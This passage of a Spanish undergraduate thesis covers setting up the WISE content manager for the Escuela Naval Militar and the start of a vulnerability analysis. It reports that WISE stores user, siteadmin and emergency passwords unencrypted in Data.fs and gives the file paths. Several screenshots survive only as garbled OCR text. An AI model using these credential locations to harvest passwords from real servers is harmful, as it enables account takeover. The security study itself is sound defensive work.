Imagelet permite la introduccidn de texto que acompafie a la imagen, aunque se debe sefialar que
el objeto no dispone de los comandos para la edicion de texto. Para la redaccion de cualquier texto con
titulo, parrafos o cursiva, se deberan introducir comandos HTML.

eI |[=!

Bienvenidos al portal WISE de la ENM

Este portal ha sido configurado para la realizacién del TFG Despliegue del gestor de contenidos
WISE y analisis de vulnerabilidades. La motivacion de este estudio es localizas los fallos de
seguridad que presenta el CMS empleado en la Armada
La realidad virtual que constituyen las redes y sus servidores y equipos, no es espacio fisico, sino
conceptual, por donde circulan datos.En este entorno se producen los ciberataques. Ante ellos es
preciso reaccionar mediante acciones de defensa cibernética, objeto de la Estrategia de Ciberdefensa.
El estudio de estas estrategias y la aplicacion de herramientas de seguridad sobre este portal WISE,
constituyen los objetivos para los que se crea. En el desarrollo del TFG se procederdn a analizar las
vulnerabilidades presentes en estos entornos y se propondran medias que sirvan de solucion.

iiUn saludo, espero que disfruten!!

Figura 3-18 Captura: Ejemplo Imagelet con texto editado en HTML

e Notices

Notices proporciona un tablon de noticias en el que el administrador puede colgar informacion. Al
contrario que Bulletin Board, no es interactivo y no permite los comentarios.

Se emplea como medio de difusion de informacién importante para la organizacion.

e Portlet

Portlet es una aplicacion que permite la utilizacion de WISE como un puerto o una ventana para
mostrar otro sitio web.

El resultado es una pagina web a la que se puede acceder directamente desde su propio sitio WISE.
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e Rsslet

Este objeto utiliza RSS (Rich Site Support) publicados en otras webs. Rsslet permite que otras
webs compartan un resumen de informacion de interés. Este resumen se muestra en una tabla de
contenidos, que se actualizan cada vez que actualizamos las tablas. Algunos de los objetos que
permiten el uso de Rsslet son: el tablon de anuncios, calendario o containers. Al contrario que las
URL, en las ventanas Rsslet se muestran una serie de enlaces a los archivos de interés externos a
nuestra pagina.

Esta es una aplicacion muy utilizada en los sitios web que publican los ultimos titulares de noticias
generados por una agencia exterior.

e Sjte Search

Site Search proporciona un buscador local. Introduciendo una palabra muestra todas las entradas
que contengan esa busqueda (ver Figura 3-19).

Search For (71

EMTER

Figura 3-19 Captura: Buscador local para el portal WISE

e Subweb
WISE permite generar un entorno estructurado jerdrquicamente mediante subwebs.

Las subwebs deben usarse para crear una secuencia logica en su pagina, ordenando la informacion
especifica por destinos o departamentos, facilitando la navegacion y estructurando los contenidos.

e Table Generator

Table Generator es una aplicacion que permite al administrador construir y mantener las tablas.
Ofrece una variedad de opciones para mostrar los contenidos. Solo los usuarios con los permisos
adecuados pueden afadir o modificar los datos de la tabla, pero cualquier visitante invitado puede ver
los datos.

Un uso tipico podria ser una lista de contactos, como se ilustra en la Figura 3-20.

0| [Name l1[rype i1

+ ] Directorio Text

Figura 3-20 Captura: Ejemplo de tabla en WISE
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e URL

El objeto URL permite formar enlaces a recursos externos. Es una direccion web o ruta de acceso a
otras paginas que permite dirigir a los usuarios de WISE a sitios en los que se muestren contenidos de
interés. En la Figura 3-21 se muestran algunos de los enlaces que se muestran en el portal WISE,

disefiado para la ENM.
| Enlaces deinterés

&2 Armada Espanola

& Centro Universitano de la Defensa

== Acceso a las Fuerzas Armadas

&2 Ministerno de Defensa

Figura 3-21 Captura: Ejemplo de uso del objeto URL

e WISE Administration Guide

La Guia de Administracion detalla los procedimientos para la gestion y mantenimiento de sitios
web de WISE, incluyendo temas como la seguridad y facilidad de acceso.

También detalla los procedimientos y las posibles opciones al instalar WISE en el servidor.

e WISE User Guide

Este documento proporciona orientacion sobre el uso genérico de WISE, es decir, la estructura, los
procesos Yy procedimientos. Ademas muestra como desarrollar subwebs y afiadir objetos; explica roles
y permisos de seguridad que afectan a los usuarios; y utiliza algunos objetos disponibles dentro de
WISE para construir ejemplos de sitios web.

e Web Directory
El objeto permite mostrar el directorio web de nuestro sitio WISE.

Este recurso se utiliza ampliamente en Internet y contiene enlaces de diferentes categorias con el
fin de dirigir al usuario a sitios especificos. En la Figura 3-22 se muestra, a modo de ejemplo, el
directorio de Google.

G O O g]. e directorio.com
Directorio de sitios web sin fines de lucro. Este sitio no guarda relacion con la empresa Google Inc.
£ | Agrega Tu Web Buscar en post [ Busear )
sitios Destacados |  Directorio Google de Webs y Blogs Ultimos blogs
i i Juegos Viajes y Tur '”_
T I
emE=
— Arte y Cultura Empresas Motor YouTube =
Murales de pared Kalsus
i et I
W= = . i:
c Vend H Otras Web:
HORMIGON IMPRESO omprary Vender ogar ras Webs Diseiio web Almeria y
PRECIO Roquetas de Mar
Deportes Humor Personales VE——
11
. - K u
Profesionales
ven
———t
Directorios Informatica Salud y Belleza ——
i Internet Traductor

Figura 3-22 Directorio de Google
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e Workflow

Workflow se utiliza para definir las tareas previstas, los pasos a realizar para alguna actividad o la
organizacion y personas involucradas en un evento. En general se centran en procesos y no
documentos.

En términos méas simples, podemos definir Workflow como el conjunto de tareas, en serie o0 en
paralelo, llevadas a cabo por dos o mas miembros de un grupo de trabajo, que buscan un objetivo
comun. En muchas ocasiones se emplean las redes de Petri para organizar estas tareas.

Figura 3-23 Workflow

3.4 Creacion del portal WISE para la ENM

Los objetos expuestos en el apartado anterior han sido utilizados sobre la pagina principal (Home),
creando los contenidos que queremos mostrar a cualquier invitado que acceda a nuestro sitio WISE.
Como se indica en las normas de uso de WISE aplicadas en el &mbito de la Armada, la informacion,
dada la clasificacion de seguridad de la red fisica de Intranet, debera ser SIN CLASIFICAR: ningun
documento con una clasificacion de seguridad superior a SINCLAS ha sido empleado.

En la Figura 3-24 se muestra el disefio desarrollado para el estudio. Para lograrlo se han empleado
los objetos WISE enunciados en el capitulo anterior (principalmente Containers, FileObjects,
Imagelets, Htmllet, Calendars, Site search y URLS), creando distintas carpetas, seleccionando la
informacion que en ellas se presenta y que quedaran accesibles a cualquier individuo que acceda a
nuestro portal.

s Home | Oficiales y Profesores | Al

PN
f@.‘ Escuela Naval Militar

Oficiales y Profesores | Alumnos | Dotacién

B Buscador SIS
i SOBRE LA WISE DE LA ENM N
Enlaces de interés [=1]=]

[SulmolTulwelTh|Frsal

2820
E)=|

Orden Diaria 2ig

Bienvenidos al portal WISE de la ENM

_. Este portal ha sido configurado para la realizacién del TFG Despliegue del gestor de contenidos
= WISE y andlisis de vulnerabilidades. La motivacion de este estudio es localizas los fallos de
T Cibercrimen Mcafee seguridad que presenta el CMS empleado en la Armada
) politica de Sequridsd OTAN La realidad virtual que constituyen las redes y sus servidores y equipos, no es espacio fisico, sino
) Ciberdefensa en las FAS conceptual, por donde circulan datos.En este entorno se producen los ciberataques. Ante ellos es
SR s preciso reaccionar mediante acciones de defensa cibernética, objeto de la Estrategia de Ciberdefensa.
Aviso T istas B E! estudio de estas estrategias y la aplicacién de herramientas de seguridad sobre este portal WISE,
. 3 constituyen los objetivos para los que se crea. En el desarrollo del TFG se procederdn a analizar las
echos de Actividades Terroristas: 130011ZIAN 2016 |nerabilidades presentes en estos entornos y se propondran medias que sirvan de solucién.
iiUn saludo, espero que disfruten!!

» Sos

Figura 3-24 Captura: Pagina principal WISE Escuela Naval Militar
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Una vez disefiada la parte publica, crearemos tres Subwebs: Alumnos, Dotacion y Oficiales y
Profesores. Estas contendran informacion destinada a cada uno de los grupos mencionados y su acceso
quedara limitado a los usuarios legitimos a los que se dirige. Por ello deberan autenticarse como
usuarios del sistema.

En la Figura 3-25 se muestra la pagina destinada a Oficiales y Profesores. En ella los contenidos
que se publican se destinan a este grupo especifico. De esta forma, podemos observar carpetas
empleadas por los distintos profesores que imparten asignaturas en la Escuela Naval o manuales de
educacion.

S
AVISO El= (=T [=|
ANTES DE QUE FIN v e T R B ... e
'y : Profesor Oficina Técnica =]
Profesor Informatica [=1)=]
Caﬂﬁ:aﬂnnes
Profesor Sensores Navales Big
ona
etive
B Programacién
T 01 Res 452-08: s ia proceso selectivo con v sin = - =S

titulacion CGA-CIM ProfesurdeInalas == Profesor de Navegacién
) Teléfonos ENM -CP-05 Mat aveqacién

E GUIA DE LA PRUEBA DE NIVEL FUNCIONAL o
IEfE T) Guia DE LA PRUEBA DE NIVEL PROFESIONAL Problemas

‘) SIGEL MANUAL DEL EXAMINADOR =
D Links para el estudio Calculo del Problea Directo

Figura 3-25 Captura: Subwise de Oficiales y Profesores

La Figura 3-26 es una captura de pantalla de la subweb destinada a los alumnos del centro. En ella
la informacion publicada se centra en apuntes de las diferentes asignaturas cursadas, publicaciones de
interés, horarios de clases o presentaciones de ayuda para la gestion del primer destino en las unidades.

o

@ Alumnos NATO SECRET
L XS
. Asignaturas CUD =]
Bl B AMPLIACION DE INFORMATICA

Bl B 1NSTALACIONES ¥ CONSTRUCCION NAVAL
B SISTEMAS DE CONTROL Y SENSORES NAVALES

.a semana I+A se desarrollar

[E1]=]

¥ No Events
Documentaci6n de interés =i § s
E PROGRAMACION ESCOLAR CURSO 2015-2016 e

‘T Aulas v espacios de ensefianzas
[P listas de clase
Prasentacién bugue JCI sobre WISE

i
‘) HONORES MILITARES 526

) INSTRUCCION MARINERA ENM-8301
~ T nuoos

e TF) PITADAS JUAN SEBASTIAN ELCANG
e Enlaces [BIE ) curso pe vela
Sabana BlH o Carta de Bi ida a Ia ENM 7] M-0-3-1 MANUAL PRUEBAS FISICAS
) sEmANA TIPO A @ Faitic
) sEmana TIPO B @ Cud.uvigo ) cere izado v arriado Bandera Nacional
las SfE © Amads espaicla 7] Honores Militares. Real Decrato 684-2010
@ BOE » >> more

D) profasores ENM
B Alumnos 2015/2016

» >> more

Figura 3-26 Captura: Subwise de Alumnos

Por ultimo, la Figura 3-27 muestra la subwise creada para la dotacion. Los documentos que sobre
ella se publican, se dirigen al personal destinado en la Escuela Naval, los cuales realizan funciones
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ajenas a la ensefianza. Entre los documentos que en ella se pueden encontrar, destacamos: impresos
para tramitaciones administrativas, prevision de guardias, publicaciones de maniobra, etc.

Db Home | Oficiales y Profesores | Alumnos | Dotacién | @&
7

Dotacién NATO SECRET

L
456 788 Documentaci6én Guardias eig
10/11 12 13 14 1516 [ GUIA DE ENTREGA DE ARMAMENTO
2

INFO VIAJE

LLAVERO COMANDANTE DE LA GUARDIA
PARTE DE LA GUARDIA

RESERVAS PISTAS PADEL

RESUMEN PRENSA

TELEFONOS GUARDIAS

» No Events

Impresos
) Solicitud de Comisiones
‘) Asuntos Propios
E Impreso de solicitud de curso
) 1mpreso de solicitud de vacantes
) Modelo solicitud de vacantes
Invitaciones del Carmen

M (OAMBIE! 2ig

Actuaciones Urgentes

LOCALIZACION MATERIAL ANTI CONTAMINACION
MARINA

Lucha C ién Marina Jornadas SEGOP

FARMACIA Big
E sequro colectivo de las FAS
~ - E £ T) EARMACIA MAYO 2015

01 Res 452-08048-2015 convocatoria proceso selecti L i B2ig
) 01 Res 452-08048-2015 convocatoria proceso selectivo E == Mar
con v sin titulacion CGA-CIM g
) 02 Res 452-38052-2015 convocatoria proceso selectivo L) REGLAMENTO REGATAS A VELA 1. PORTADA
Cuerpos Comunes ) ORC-RATING 2. CONTRAPORTADA

) 03 Res 452-06909-15 convocatoria proceso selectivo  'T2) Realamento Tecnico de Cruceros 07 3. INDICE
%nmocuon Interna con v sin titulacion CGA-CIM ) Relamento Tactico Crucero 2011 4. CAPITULO I Generalidades
04 Res 452-38053-2015 ia proceso selectivo " ~ : o
CIA EOF ETO i) rules of sailing 2009-2012 5. CAPITULO II Maniobra de Apr \
| = P %) ORC VPP Documentation 2009 »>> more

Figura 3-27 Captura: Subwise Dotacion

El control de acceso a WISE se realiza por roles. Como se expuso durante el proceso de
instalacion, al no seleccionar la opcion Allow Self Registration, el administrador del sitio es el Unico
que puede registrar a los usuarios. Una vez registrados asignara a cada uno el rol que le corresponda en
cada subweb. En funcién de este rol, el usuario ostentard permisos de acceso Yy, en ciertos casos,
administracion. Existen dos clases de roles, aplicadas a cada usuario en cualquiera de las subwise:

e Site Administrator: este rol otorga el control de subir informacion, asi como de modificar
los contenidos.

e User: simplemente tiene acceso a los contenidos, sin poder alterarlos.

Los usuarios se crean desde la pagina principal y, por defecto, aparecen como usuarios de esta
misma, es decir, tienen acceso Unicamente a la Homepage, la cual no requiere autenticacion. Para
proporcionarle acceso a alguna subwise especifica, tras la creacién de un nuevo usuario, se debe
acceder a su configuracion en la ventana Access. En ella, se nos presentara una lista con todos los
usuarios. Para otorgar los roles al nuevo usuario, debemos buscar su nombre en esta lista y marcar la
casilla con los roles que correspondan. Este proceso podria resultar laborioso o, incluso, dar lugar a
errores, en el caso de disponer de una larga lista de usuarios.

Los usuarios creados para nuestro portal se muestran en la Figura 3-28. Esta es una captura de los
usuarios con acceso a la pagina principal, donde sélo el administrador (siteadmin) puede configurarla.
Si accedemos al menu Access dentro de cada subwise, se observan los distintos roles o privilegios
asignados, a cada uno de los distintos usuarios.
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. user
O] [| it |  Emailll [site Administrator Luser [
[] 3 Carlosgwval S, (@ gmail.com

[ # & Cristiansil  |eimtimsle@ gmail.com
[] # @ Gestoso93  gpaneslessshessdi @gmail.com

Guest
(1 # & Guillerggam  guiliagilahaiin0 @gmail.com
] # & Lantto SR @ gmail.com

[] Q MNercarey W ([ gmail.com

] ﬂ. Pdodero s O gmail.com
] 3 alumno sl 0 gmail.com

] 3 andrescampg NTNNNNENEEEERR; T gmail.com
] Q careper oanissssss——| (@ gmail.com

] ﬂ. dotacion SEsE—— @ gmail.com

] 3 emergency

] 3 profesor Pl 0 gmail.com

[] Q siteadmin gy gmail.com

Figura 3-28 Captura: Usuarios asociados a la pagina principal del portal WISE

RO ddooggoo
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3.4.1 Configuracién de Subweb WISE

Dentro de la configuracion de cada subweb, disponemos de distintas opciones que se analizaran a
continuacion.

e Content

Muestra todos los archivos subidos y objetos creados en el portal. Estos pueden modificarse, o
incluso eliminarse. En la Figura 3-29 se muestran los contenidos de la pagina principal (constituye la
primera subwise).

Impoert/Export | Page Layout | Content Layout | Site Map | Undo | Access

IIEII-

Calendario 0 300203Z DEC 2015 052031Z JAN 2016 NATO SECRET webmaster
] D B G)\ B Enlaces de interés 0 300109Z DEC 2015 1418202 JAN 2016 NATO SECRET webmaster
: |? Q M Buscador 0 3001477 DEC 2015 1306587 JAN 2016 NATO SECRET webmaster
+ O E Q B Info METEQ 01218227 JAN 2016 1222297 JAN 2016 NATO SECRET webmaster
s 0 B G{ a Acceso a la Escala de Oficiales 01222437 JAN 2016 1222447 JAN 2016 NATO SECRET webmaster
s O Q f# Aviso Terroristas 01223092 JAN 2016 1418147 JAN 2016 NATO SECRET webmaster
s dJ B G{ L] WELCOME 492 122330Z JAN 2016 122330Z JAN 2016 NATO SECRET webmaster
: |? Q B Deportes 01306477 JAN 2016 1306497 JAN 2016 NATO SECRET webmaster
+ O E Q B Orden Diaria 01306527 JAN 2016 1306577 JAN 2016 NATO SECRET webmaster
s+ O B Q ¥ oficiales y Profesores 0 140643Z JAN 2016 180629Z JAN 2016 NATO SECRET webmaster
s O Q ¥ Alumnos 0 1406582 JAN 2016 1418237 JAN 2016 NATO SECRET webmaster
s dJ B G{ il Dotacién 0 140701Z JAN 2016 1806297 JAN 2016 NATO SECRET webmaster
: @ G)\ B Concienciacién en CIBERSEGURIDAD 01414327 JAN 2016 1414362 JAN 2016 NATO SECRET webmaster

& CID
¥ add Objects Select the type of object you would like to Add ( |Brief Generator V| }. then click an
& button.

Figura 3-29 Captura de los contenidos publicados en el portal WISE
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e Properties

Las propiedades permiten modificar el titulo y las caracteristicas del sitio. Ademas, empleando la
opcion Application Icon, se permite subir un archivo para logo del sistema WISE. En la Figura 3-30 se
refleja la modificacion del nombre de nuestro sitio (Escuela Naval Militar).

Title |Escu ela Naval Militar | Qn
Wiselet Title | | Q
Show Wiselet Title [v]

Menu Title | | 7]
Show on Menu

Application Icon Examinar... % X Q
Max Subweb Levels |4 | @
SMTP Host |smtp.gmai|.com | 7]
SMTP Port 25 | a
Login Expiration |3{) | Q »
Allow Registration [ |

Figura 3-30 Captura de las propiedades de nuestro sitio WISE

e Page Layout

Ofrece distintas posibilidades de disefio y colocacién de los objetos. La aplicacion presenta seis
disefios. Hemos elegido la tercera opcion (Layout #3), para situar una foto ilustrativa de la ENM en el
centro de la pagina, en un tamafio mayor a los objetos que la rodean (Figura 3-31).

(@] Layout #1

Pane 1 Pane 2 Pane 3

(® Layout #3

Pane 1 Pane 2 Pane 3

o]

e == layout®z |

Pane 1 Pane 2

(@] Layout #4

Pane 1 Pane 2

@] Layout #6

Pane 1 Pane 2 Pane 1

Figura 3-31 Captura: Page Layout

e Content Layout

Muestra una tabla que se emplea para ordenar los objetos como se desee. Ademas, contiene una
columna Hidden. Los objetos situados en ella permaneceran ocultos. EI administrador suele emplear
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esta columna en la etapa de disefio o para guardar alguna carpeta que pueda ser de interés el futuro
(Figura 3-32).

Content Layout

Aviso Terroristas WELCOME Buscador

(Bulletin Board} (Imagelet) (Site Search)
Calendario Enlaces de interés
(Calendar) (Container)
Orden Diaria Info METEQ
{Container) (Container)
IConcienciacion en CIBERSEGURIDAD Acceso a la Escala de Oficiales

{Container) (Container)

Deportes

(Container)

B O

Figura 3-32 Captura: Ejemplo de Content Layout para nuestro sitio WISE

e Site map
La Figura 3-33 muestra una lista compuesta por todos los archivos subidos a la subwise
Homepage. Esta lista permite desplegar los contenidos de las carpetas para una visualizacion mas
amplia.

@ calendario

= @ Enlaces de interés

= Armada Espafiola

®2 Centro Universitario de la Defensa
=2 pcceso a las Fuerzas Armadas

®® Ministerio de Defensa
'@ Historia de Marin

M pyscador

B 1nfo METEO

= Acceso a la Escala de Oficiales
@ Acceso con Titulacion
Acceso sin Titulacidn
(B _Aviso Terroristas
8 wElcoME

& Deportes

E Orden Diaria

%8 Oficiales v Profesores ¥

3 Alumnos 1

¥ potacisn ¢

Concienciacidén en CIBERSEGURIDAD

Figura 3-33 Captura: Ejemplo de Site map para nuestro sitio WISE

e Access

En Access podemos modificar los roles de cada usuario y las autorizaciones que tiene en cada
subwise. En Figura 3-28 se muestra una captura de los roles de los distintos usuarios en la pagina
principal. Como se puede observar, el usuario siteadmin ostenta los derechos de administracion. El
resto de usuarios solo tienen derechos de invitado (guest). Una vez creados los nuevos usuarios, desde
el menl Access de cada subwise, se le otorgaran los roles correspondientes. De esta forma, se puede
otorgar los derechos de administracion de cualquier subwise a cualquier usuario.

Este proceso resulta un poco rudimentario ya que el administrador debe otorgar individualmente
los privilegios a cada uno de los usuarios. En el caso de existir un enorme numero de usuarios esto

seria una tarea muy laboriosa.
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e UNDO

La ventana UNDO da acceso a las ultimas modificaciones realizadas. Para deshacer cualquier

cambio, se debe seleccionar la accion en la lista y seleccionando UNDO (ver Figura 3-34).

Este comando permite deshacer la Gltima accion realizada sobre un objeto. EI administrador del
sitio podria emplear este comando para eliminar una modificacion no autorizada que haya realizado
alguno de los usuarios. Cabe destacar que solamente se puede deshacer la Gltima accion realizada

sobre un objeto.

[] /WISE/Subweb_LayoutForm by WISE siteadmin

[] /WISE/view_personal by WISE dotacion

[] /WISE/Dotacin/formSubmit by WISE siteadmin

[] /WISE/Dotacin/formSubmit by WISE siteadmin

[] /WISE/Profesores0/formSubmit by WISE siteadmin

[] /WISE/Profesores0/formSubmit by WISE siteadmin

[] /WISE/view_personal by WISE profesor

[] /WISE/formSubmit by WISE siteadmin

[] /WISE/formSubmit by WISE siteadmin

[] /WISE/Dotacin/formSubmit by WISE None

[] /WISE/Dotacin/formSubmit by WISE siteadmin

[] /WISE/Dotacin/FotoDotaci/formSubmit by WISE siteadmin
[] /WISE/Dotacin/FotoDotaci/formSubmit by WISE siteadmin
[] /WISE/Dotacin/FotoDotaci/formSubmit by WISE siteadmin
[] /WISE/Dotacin/FotoDotaci/formSubmit by WISE siteadmin
[] /WISE/formSubmit by WISE siteadmin

[] /WISE/formSubmit by WISE siteadmin

[] /WISE/formSubmit by WISE siteadmin

[] /WISE/formSubmit by WISE siteadmin

[] /WISE/Dotacin/formSubmit by WISE siteadmin

18 Jan
18 Jan
18 Jan
18 Jan
18 Jan
18 Jan
18 Jan
18 Jan
18 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan
17 Jan

2016 21
2016 21

EI

2016 09:3
2016 07:
2016 07:
2016 07:
2016 07:
2016 07:
2016 07:
2016 07:
2016 07:
2016 22:
2016 22:
2016 21:
2016 21:
2016 21:
2016 21:
144
143
2016 18:
2016 18:
2016 18:

30
20
20
20
29
28
27
27
04
02
56
56
56
55

55
54
53

Figura 3-34 Captura: Undo

Para mas informacion sobre el uso de WISE, en el Anexo Il del presente documento se incluye
una guia visual practica para nuevos administradores, asi como la configuracion del equipo como

servidor.
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4 ANALISIS DE VULNERABILIDADES WISE
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4.1 Presentacion

Este capitulo detalla el analisis de seguridad realizado sobre el servidor WISE, instalado en la red
local de laboratorios del Centro Universitario de la Defensa en la Escuela Naval Militar. En dicha red
se sitGan diferentes equipos empleados por los alumnos del centro.

La explotacion de vulnerabilidades es el objetivo de todo atacante. Para efectuar un ataque
sofisticado, se debe dedicar el tiempo necesario a investigar el sistema en profundidad. EI proceso de
recogida de informacion o gathering ha sido realizado desde dos perspectivas:

1. La primera de ella es el analisis a nivel interno, desde la figura del administrador. Para ello se
presentard la arquitectura del sistema y los fallos de seguridad o vulnerabilidades encontradas.
Este analisis se denomina Internal Footprinting.

2. Posteriormente, se realizara un andlisis de vulnerabilidades a nivel externo (External
Footprinting). Para ello se emplearan algunas de las herramientas que incorpora la plataforma Kali
Linux, asi como la herramienta de analisis de metadatos FOCA, ambas presentadas en el segundo
capitulo.

Para concluir este apartado, se describe el test de intrusion llevado a cabo en el servidor.
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4.2 Andlisis de vulnerabilidades a nivel interno (Internal Footprinting)

Para estudiar el grado de vulnerabilidad del sistema WISE y descubrir sus posibles fallos, los
administradores deben conocer su funcionamiento y la estructuracion de su base de datos. Ademas,
conviene realizar andlisis de manera continua, que permitan detectar errores o funcionamientos
anomalos en el sistema, asociados a errores de programacion o, en el peor de los casos, a ciberataques.
A continuacion procederemos a realizar un analisis desde el punto de vista del administrador del
sistema.

El administrador de un portal web debe realizar un analisis y monitorizacion del sistema, con el
objetivo de garantizar el nivel de seguridad correspondiente a sus contenidos y localizar posibles
amenazas o0 ataques en curso sobre el sistema. Analizaremos la base de datos WISE, los puertos que el
sistema tiene abiertos y, a continuacion, se extraeran los metadatos contenidos en los archivos que en
WISE se comparten.

4.2.1 Base de datos WISE

En primer lugar, analizaremos la base de datos del sistema y su proteccion. Esta base de datos se
encuentra en el directorio generado durante la instalacion: C:Archivos de Programa(x86)\WISE.
Este directorio se estructura en distintas subcarpetas con los plugins de instalacion y la informacién
subida al gestor (Figura 4-1).

mvl v Equipo » TB1076700A (C:) » Archivos de programa (x86) » WISE »

Organizar + || Abrir Grabar MNueva carpeta
o TS Mombre Fecha tle:nctlifica..‘ Tipo Tamafio
& Descargas install 30/12/2015 0:29 Carpeta de archivos
Bl Escritorio doc 015 Carpeta de archivos
-l Sitios recientes import Carpeta de archivos
lib Carpeta de archivos
4 Bibliotecas Extensions Carpeta de archivos
3 Documentos inst Carpeta de archivos
= Imagenes pegi Carpeta de archivos
, Misica utilities Carpeta de archivos
B videos bin Carpeta de archivos
ZServer Carpeta de archivos
# Grupo en el hogar etc Carpeta de archivos
war Carpeta de archivos
1M Equipe | README Documento de tex... 1KB
£ TB10767004 (C:) G UNwWISE Aplicacian 162 KB
- GARAY (F:) | LICEMSE Documento de tex.. 3KB
7] zpasswd Archivo PY TKB
€ Red A= Archivo PYC 22KB
2| zpasswd Archivo PYC TKB
| | access Archivo 1 KB
& start Archivo por lotes ... 1KB
z2 Archivo PY 32 KB

| %] Zope
 INSTALL

Archivo CGL

Documento de tex...

1KE

322 KB

Figura 4-1 Captura: Base de datos WISE

En este directorio encontramos varios archivos de interés. El primero de ellos es access, donde se
almacenan las credenciales del usuario emergency, creadas durante la instalacion. Este usuario tiene
acceso a WISE y su funcion es la de modificar las contrasefias en caso de pérdida u olvido. Si
accedemos a este documento, podemos obtener su contrasefia, cifrada con SHA (Secure Hash
Algorithm).

Entrando en la carpeta C:Archivos de Programa(x86)\WISE\var\FileobjectStore\WISE,
encontramos todos los archivos subidos a WISE, y ademas la informacion se estructura en carpetas
para las diferentes subwises. Esta informacion se muestra sin cifrar, por lo que los documentos se
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encuentran accesibles. Sin embargo, si algun documento se modifica desde el sistema de ficheros,
WISE no permitira acceder a él de nuevo (Figura 4-2). Esto supone una de las pocas medidas de
seguridad que implementa el sistema.

- — T p—— - W

& http://cud-tosh./WISE/OrdenDiari/5deEnero £ = & || =2 WISE: Escuela Naval Mil...| 2 HTTP 404 No encont...

Qe

9= | €] Sitios sugeridos + Amazon e eBay 2| Galeria de Web Slice » @ Toshiba Places

o No se puede encontrar la pagina web
/"

Causas mas probables:
» Es posible que la direccién no se haya escrito correctamente.
» 5Si hizo clic en un vinculo, es posible que no esté actualizado.

Puede intentar lo siguiente:
® Volver a escribir la direccion.
® Regresar a la pagina anterior.

® Ira ybusque la informacién que desea.

> Mas informacién

Figura 4-2 Captura: Error de acceso tras modificar un archivo del sitio WISE

Pero, sin duda, el fichero mas interesante es Data.fs (almacenado en C:Archivos de
Programa(x86)\WISE\var\Data.fs). Este archivo es el registro de todas las entradas y cambios
realizados en el sistema. Ademas, en este documento, aparecen sin cifrar las contrasefias de los
distintos usuarios WISE. En la Figura 4-3 se muestran las credenciales del usuario Carlosgval. En esta
carpeta también encontramos la contrasefia de los usuarios de instalacion siteadmin y emergency,
también sin cifrar.

Figura 4-3 Captura del archivo Data.fs: Credenciales de usuario

Este supone el punto critico del sistema: en la propia guia de administracion se sefiala como una de
las mejoras previstas para las futuras actualizaciones del gestor. Ademas, si el archivo excede los 2GB
de tamario, el sistema WISE deja de funcionar. Para evitar esto, se propone a los administradores
empaquetar este documento cada quince dias.

4.2.2 Herramientas del sistema operativo para monitorizacion del sistema

La monitorizacion del sistema supone una buena préctica para la deteccion de intrusiones,
observar las conexiones de red, los usuarios o dispositivos conectados. El sistema operativo Windows,
sobre el que trabaja WISE, dispone de varias herramientas para ello, algunas de las cuales se presentan
a continuacion.
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4.2.2.1 Conexiones

Las conexiones son un elemento muy importante a analizar. Como se muestra en la Tabla 4-1,
existen herramientas del sistema Windows que permiten realizar un analisis de estas conexiones, ver
los recursos compartidos, asi como la configuracion de la red.

Herramienta Utilidad
Netstat Puertos y conexiones abiertas
Net Recursos compartidos
Route Configuracion de la red
Ipconfig Interfaces de red

Tabla 4-1 Herramientas de analisis de datos y funcion

Para analizar las conexiones, abriremos el terminal CMD vy ejecutaremos el comando netstat —a,
que muestra los puertos y conexiones abiertas. En la Figura 4-4 se muestra un escaneo de puertos. Esta
captura muestra el estado de los puertos (en escucha o espera) y las conexiones del equipo
192.168.1.138, conectado al puerto 80 de nuestro servidor. Estas conexiones corresponden a un
ordenador del laboratorio (en la red LAN), realizando consultas al sitio WISE.

cud-TOSH : B
cud-TOSH:B#

LM b L 2D
W CACA

867
357
A21

B243
8808
2152
2153
7154
2155
2688
2685
i

ﬁﬂﬁﬁﬁﬂﬁMHgmmmmﬁHm
=]
=

0]
5]
5]
5]
0]
5]
5]
5]
d
5]
5]
5]
d
f]
5]
5]
a
i

SNMEAAERERERIERGDDE DS G E S

s = = ¢ ® ® ® ® ® ® ® ® ® ®W ®H ®H ¥

1:19999

127.8.8.1:49679
127 A A _1-49691

cud-TOSH:=A
cud-TOSH:=8
cud-TOSH:@
cud-TOSH:@
cud-TOSH:=A
cud-TOSH:=8
cud-TOSH:=8
cud-TOSH:@
cud-TOSH:=A
cud-TOSH:=8
cud-TOSH:=8
cud-TOSH:@
cud-TOSH:=A
cud-TOSH:=8
cud-TOSH:=8
cud-TOSH: 49679

cud-TOSH:19999
cud-=TNEH=[A

ESTABLISHED
LISTENTHG

192.168.2.77:88
192 _.168.2_77:88
192.168.2.77:88

192.168.1.138:5123% ESTABLISHED
192 _168.1.138:512404 ESTABLISHED
192.168.1.138:51241 ESTABLISHED

Figura 4-4 Puertos y conexiones abiertas capturados por netstat —a

Ahora cambiaremos el pardmetro e introduciremos netstat —es. Este comando muestra las
estadisticas de las conexiones. De esta manera, en la Figura 4-5 podemos ver los paquetes recibidos o
descargados, los errores de direccion recibidos, etc. Un intento de ataque al servidor puede verse
reflejado en estas estadisticas, en forma de errores, paquetes descartados o errores de direccion o
encabezado recibidos.
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sUserssalumno>netstat —es
stadisticas de interfaz

Recibidos Enviados

i 26177426 1360843861
aguetes de unidifusidn 1W7235 141525
aguetes no de unidifusidn 152835 6587
Descartados a 5]
Prores a a
rotocolos desconocidos a

stadisticas de IPu4

Paguetes recihbhidos

Errores de encabezado recibidos
Errores de direccidn recibidos
Datagramas reenviados

Protocolos desconocidoz wecibhidos
Paguetes recibidos descartados
Paguetes recibidos procesados
Solicitudes de szalida

Descartes de enrutamiento
Paguetes de salida descartados
Paguetes de zalida sin ruta
Reensambhlados requeridos
Reenzambladosz correctos
Reenzamblados errdneos

Datagramas correctamente fragmentados
Datagramas mal fragmentados
Fragmentos creados

LEREEEN®E

Figura 4-5 Estadisticas recopiladas con netstat —es

Y, por ultimo, el comando net share (Figura 4-6), nos mostrara los recursos compartidos que tiene
nuestro equipo.
C:sUserssalumno>net share
Recur=zo Descripecidn
s0 predeterminado

IPC remota
Admin remota

SEPS G:sUsers

Se ha completado el comando correctamente.

C:sUserssalumno >

Figura 4-6 Vista de los recursos compartidos con net share

4.2.1.2 Usuarios

El segundo punto importante a analizar son los usuarios del sistema. Para ello emplearemos el
comando de Windows nbtstat —n. Este comando muestra los usuarios de NetBIOS. En este caso, el
usuario es el ordenador que estamos analizando (Figura 4-7).

C:sUserssalumnonbtstat —n

Conexidn de area local:
Direccidn IP del nodo: [192.168.2.721 Id. de amhito : [1

Tabhla de nombres locales HetBIOS

Nombre i Estado

CIUN—TNZH ini Registrado

WORKGROUP Registrado
